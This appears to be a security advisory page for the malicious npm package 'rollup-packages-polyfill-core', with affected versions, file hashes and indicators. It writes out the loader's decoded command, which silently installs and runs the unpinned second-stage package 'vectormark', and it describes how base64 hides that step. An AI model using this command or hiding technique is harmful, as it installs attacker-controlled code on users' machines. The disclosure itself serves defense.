Malicious code in rollup-packages-polyfill-core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2dfdfbd2fc737f9d78ec40aac8b7020866cb0ef0e7e14b2d95aa174ea0ec5818) On require of the main entry `dist/index.js`, the module decodes a base64 literal to the shell command `npm install vectormark --no-save --silent --no-audit --no-fund` and spawns it with `stdio: 'ignore'`. It then decodes a second base64 literal to the string `vectormark`, `require`s that dynamically-installed module, and immediately invokes `svgo.getPlugin()()`, executing arbitrary code from the second-stage package. The install target is unpinned and installed with `--no-save`, so the dropped code is not recorded in the consumer's lockfile. Both the shell command and the target module name are stored as base64 strings (`Buffer.from(..., 'base64').toString('utf8')`) to hide them from static review. The package name `rollup-packages-polyfill-core` typosquats the legitimate `rollup-plugin-polyfill-node`, whose repository it also declares. ## Source: ghsa-malware (9b4d6b267c6acf02bfba1366c8d1fe3e3285f2fd492a34d2c499e33d7d2efcff) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from
MAL-2026-10160
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-10160
rollup-packages-polyfill-core
Source reference: /affected/0/package/name
- Affected versions
- 0.13.8
Source reference:
/affected/0/versions0.13.7Source reference:
/affected/0/versions0.14.1Source reference:
/affected/0/versions0.13.9Source reference:
/affected/0/versions0.14.0Source reference:
/affected/0/versions0.13.5Source reference:
/affected/0/versions0.13.6Source reference:
/affected/0/versions0.13.4Source reference:
/affected/0/versions0.0.0Source reference:
/affected/0/versions0.5.0Source reference:
/affected/0/versions0.12.3Source reference:
/affected/0/versions0.13.0Source reference:
/affected/0/versions0.13.2Source reference:
/affected/0/versions0.13.3Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
}
]
}
],
"package": {
"name": "rollup-packages-polyfill-core",
"purl": "pkg:npm/rollup-packages-polyfill-core",
"ecosystem": "npm"
},
"versions": [
"0.13.8",
"0.13.7",
"0.14.1",
"0.13.9",
"0.14.0",
"0.13.5",
"0.13.6",
"0.13.4",
"0.0.0",
"0.5.0",
"0.12.3",
"0.13.0",
"0.13.2",
"0.13.3"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rollup-packages-polyfill-core/MAL-2026-10160.json",
"indicators": {
"evidence_files": [
{
"path": "dist/index.js",
"tlsh": "f981552614f679551373b2ec5587ec71397b9393338ccb507e2c83709fa20289a72ae5",
"sha256": "d436a1392d9a78b6792b39df873ff6dac785557eb8d306adc2089ed3501aab0a"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "7ce89074c953a6d60b4068615c72fbfc857b623d",
"sha512_sri": "sha512-gU3kBACcGmOHHWWqNUuLzGwItIUW92jOXzyMgyaJDxmK3gIuGYvn7wspEkvybXcJavFpGwgs1ctF3lQ2uwds0w=="
},
"filename": "rollup-packages-polyfill-core-0.13.8.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #10900 · Revision 1
- Added to Heist Feed
- Publisher date